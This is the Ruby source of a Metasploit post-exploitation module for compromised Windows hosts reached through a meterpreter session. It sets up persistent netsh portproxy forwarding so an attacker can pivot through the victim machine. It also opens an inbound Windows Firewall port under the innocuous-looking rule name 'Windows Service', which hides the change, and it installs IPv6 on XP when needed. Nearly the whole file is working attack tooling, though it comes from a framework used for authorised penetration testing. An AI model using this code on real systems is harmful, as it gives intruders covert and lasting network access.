metasploit-framework/modules/post/windows/manage/portproxy.rb

126 lines
4.2 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Set Port Forwarding With PortProxy',
'Description' => %q{
This module uses the PortProxy interface from netsh to set up
port forwarding persistently (even after reboot). PortProxy
supports TCP IPv4 and IPv6 connections.
},
'License' => MSF_LICENSE,
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptAddress.new('LOCAL_ADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']),
OptAddress.new('CONNECT_ADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']),
OptPort.new( 'CONNECT_PORT', [ true, 'Port number to which to connect.']),
OptPort.new( 'LOCAL_PORT', [ true, 'Port number to which to listen.']),
OptBool.new( 'IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]),
OptEnum.new( 'TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4','v6tov6','v6tov4','v4tov6']])
], self.class)
end
def run
if not is_admin?
print_error("You don't have enough privileges. Try getsystem.")
return
end
# Due to a bug in Windows XP you need to install IPv6
# http://support.microsoft.com/kb/555744/en-us
if sysinfo["OS"] =~ /XP/
return unless check_ipv6
end
return unless enable_portproxy
fw_enable_ports
end
def enable_portproxy
rtable = Rex::Ui::Text::Table.new(
'Header' => 'Port Forwarding Table',
'Indent' => 3,
'Columns' => ['LOCAL IP', 'LOCAL PORT', 'REMOTE IP', 'REMOTE PORT']
)
print_status("Setting PortProxy ...")
netsh_args = "interface portproxy "
netsh_args << "add #{datastore['TYPE']} "
netsh_args << "listenport=#{datastore['LOCAL_PORT']} "
netsh_args << "listenaddress=#{datastore['LOCAL_ADDRESS']} "
netsh_args << "connectport=#{datastore['CONNECT_PORT']} "
netsh_args << "connectaddress=#{datastore['CONNECT_ADDRESS']}"
output = cmd_exec("netsh", netsh_args)
if output.size > 2
print_error("Setup error. Verify parameters and syntax.")
return false
else
print_good("PortProxy added.")
end
output = cmd_exec("netsh","interface portproxy show all")
output.each_line do |l|
rtable << l.split(" ") if l.strip =~ /^[0-9]|\*/
end
print_status(rtable.to_s)
return true
end
def ipv6_installed()
output = cmd_exec("netsh","interface ipv6 show interface")
if output.lines.count > 2
return true
else
return false
end
end
def check_ipv6
if ipv6_installed
print_status("IPv6 is already installed.")
return true
elsif not datastore['IPV6_XP']
print_error("IPv6 is not installed. You need IPv6 to use portproxy.")
print_status("IPv6 can be installed with \"netsh interface ipv6 install\"")
return false
else
print_status("Installing IPv6... can take a little long")
cmd_exec("netsh","interface ipv6 install",120)
if not ipv6_installed
print_error("IPv6 was not successfully installed. Run it again.")
return false
end
print_good("IPv6 was successfully installed.")
return true
end
end
def fw_enable_ports
print_status ("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...")
if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/
cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"")
else
cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"")
end
output = cmd_exec("netsh","firewall show state")
if output =~ /^#{datastore['LOCAL_PORT']} /
print_good("Port opened in Windows Firewall.")
else
print_error("There was an error enabling the port.")
end
end
end